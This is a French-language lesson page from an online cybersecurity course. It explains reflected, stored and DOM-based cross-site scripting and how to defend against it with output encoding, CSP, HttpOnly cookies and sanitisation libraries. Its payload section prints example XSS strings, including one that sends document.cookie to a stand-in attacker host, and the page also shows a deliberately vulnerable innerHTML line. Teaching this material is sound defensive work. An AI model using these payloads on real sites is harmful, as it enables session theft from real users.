Cross-Site Scripting (XSS)
Découvrez les XSS réfléchies, stockées et fondées sur le DOM à l’aide de charges utiles réelles et de mesures d’atténuation CSP.
Cross-Site Scripting (XSS) est une leçon Cyber Security Academy gratuite sur CoddyKit. Ceci est la leçon 2 sur 4. Tu peux lire la leçon complète ci-dessous gratuitement — puis la pratiquer en direct dans le navigateur avec un éditeur de code intégré et un tuteur IA 24/7. Elle fait partie du parcours d'apprentissage Cyber Security Academy, et ta progression se synchronise sur le web et l'application CoddyKit. Le cours Cyber Security Academy comprend 4 leçons au total.
Qu'est-ce que XSS ?
Injection de scripts intersites (XSS) se produit lorsqu'un attaquant injecte du JavaScript malveillant dans une page web consultée par d'autres utilisateurs. Le navigateur exécute le script dans le contexte de la session de la victime, ce qui permet de voler des cookies, d'enregistrer les frappes au clavier et de modifier la page.
XSS réfléchi
XSS réfléchi (non persistant) : le script malveillant est inclus dans la requête (par exemple, un paramètre d'URL) et renvoyé dans la réponse. La victime doit cliquer sur un lien spécialement conçu. Exemple : https://site.com/search?q=<script>alert(1)</script>
XSS stocké
XSS stocké (persistant) : le script malveillant est enregistré dans la base de données (par exemple, dans un commentaire ou un champ de profil), puis servi à chaque visiteur. Il est plus dangereux que le XSS réfléchi, car aucun lien spécial n'est nécessaire : chaque affichage de la page déclenche le script.
XSS fondé sur le DOM
XSS fondé sur le DOM se produit lorsque JavaScript lit des données contrôlées par l'attaquant (fragment d'URL, paramètre de requête) et les écrit dans le DOM sans les assainir. L'attaque se déroule entièrement côté client ; le serveur ne voit jamais la charge utile.
// Vulnerable code:
document.getElementById("msg").innerHTML = location.hash.slice(1);
// Attack URL: https://site.com/page#<img src=x onerror=alert(1)>Conséquences du XSS
Ce qu'un attaquant peut faire avec XSS :
- Voler les cookies de session (
document.cookie) → prendre le contrôle du compte - Enregistrer les frappes au clavier (voler les mots de passe au moment de leur saisie)
- Rediriger vers des sites d'hameçonnage
- Effectuer des actions à la place de la victime (CSRF via XSS)
- Défigurer la page
Charges utiles XSS
Charges utiles de test simples :
<script>alert(document.cookie)</script>
<img src=x onerror="fetch('https://attacker.com/?c='+document.cookie)">
<svg onload=alert(1)>Encodage de la sortie
La principale défense consiste à encoder toutes les sorties contrôlées par l'utilisateur avant de les insérer dans HTML. Convertissez les caractères spéciaux en entités HTML : < → <, > → >, " → ".
Utilisez un encodage adapté au contexte : HTML, JS, URL, CSS.
Politique de sécurité du contenu (CSP)
CSP est un en-tête de réponse qui indique au navigateur quels scripts sont autorisés à s'exécuter. Une CSP stricte bloque les scripts intégrés et limite les sources :
# Response header:
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com;
# Blocks all inline JS and scripts from unauthorized domainsCookies HttpOnly
La définition de l'indicateur HttpOnly sur les cookies de session empêche JavaScript de les lire via document.cookie. Même si un XSS se déclenche, l'attaquant ne peut pas voler le jeton de session. Il s'agit de la couche d'atténuation la plus importante avec l'encodage de la sortie.
Bibliothèques d'assainissement
Lorsque les utilisateurs doivent être autorisés à saisir du HTML (par exemple, dans des éditeurs de texte enrichi), utilisez une bibliothèque d'assainissement plutôt que d'écrire la vôtre :
- DOMPurify (JavaScript)
- bleach (Python)
- OWASP Java HTML Sanitizer
Tests XSS
Testez la présence de XSS avec les outils de développement du navigateur, Burp Suite ou des analyseurs automatisés. Vérifiez tous les champs de saisie utilisateur, les paramètres d'URL, les en-têtes HTTP et les fonctions puits du DOM : innerHTML, document.write, eval, setTimeout avec des arguments de type chaîne.
Vérification rapide : XSS
Quel type de XSS stocke la charge utile malveillante dans la base de données, ce qui provoque son exécution pour chaque visiteur de la page concernée ?
Récapitulatif de la leçon
XSS injecte du JavaScript dans les pages consultées par les victimes. Types : réfléchi (fondé sur l'URL), stocké (persistant dans la base de données) et fondé sur le DOM (côté client). Principales défenses : encodage de la sortie, cookies HttpOnly et politique de sécurité du contenu. Utilisez DOMPurify pour assainir le HTML. N'insérez jamais de données utilisateur non assainies dans innerHTML ou eval().
Apprends Cyber Security Academy avec un tuteur IA — gratuit
Écris et exécute du vrai code dans ton navigateur, obtiens de l'aide instantanée d'un tuteur IA disponible 24h/24, et reprends là où tu t'es arrêté sur le web ou dans l'app.
- Cours
- 76
- Leçons
- 303
Questions Fréquemment Posées
La leçon « Cross-Site Scripting (XSS) » est-elle gratuite ?
Oui — le texte complet de « Cross-Site Scripting (XSS) » est gratuit à lire ici sur le web. Pour la pratiquer de manière interactive (un éditeur de code intégré et un tuteur IA 24/7) et déverrouiller le reste du cours Cyber Security Academy, passe à CoddyKit PRO. Le cours Cyber Security Academy comprend 4 leçons au total.
Qu'est-ce que j'apprendrai dans « Cross-Site Scripting (XSS) » ?
Découvrez les XSS réfléchies, stockées et fondées sur le DOM à l’aide de charges utiles réelles et de mesures d’atténuation CSP. Tu pratiques Cyber Security Academy avec du code pratique que tu exécutes directement dans le navigateur, et un tuteur IA 24/7 répond à tes questions au fur et à mesure que tu avances dans la leçon.
Dois-je avoir de l'expérience pour commencer Cyber Security Academy ?
Aucune expérience préalable n'est requise. Cyber Security Academy sur CoddyKit est structuré pour les débutants jusqu'aux apprenants avancés, donc tu peux commencer ici ou depuis le début et avancer à ton rythme. Ceci est la leçon 2 sur 4.
Combien de temps prend la leçon « Cross-Site Scripting (XSS) » ?
La plupart des leçons CoddyKit prennent environ 5–10 minutes. Chacune est courte et interactive, tu progresses régulièrement et tu repiques exactement où tu t'es arrêté sur le web et l'app.
Peux-tu écrire et exécuter du code dans cette leçon Cyber Security Academy ?
Oui. Chaque leçon Cyber Security Academy inclut un éditeur de code intégré, tu écris et exécutes du vrai code directement dans ton navigateur et tu reçois des retours IA instantanés — aucune configuration locale requise.
Toutes les leçons de ce cours
- Injection SQL : comment et pourquoi elle fonctionne
- Cross-Site Scripting (XSS)
- Cross-Site Request Forgery (CSRF)
- Mauvaise configuration de sécurité et services exposés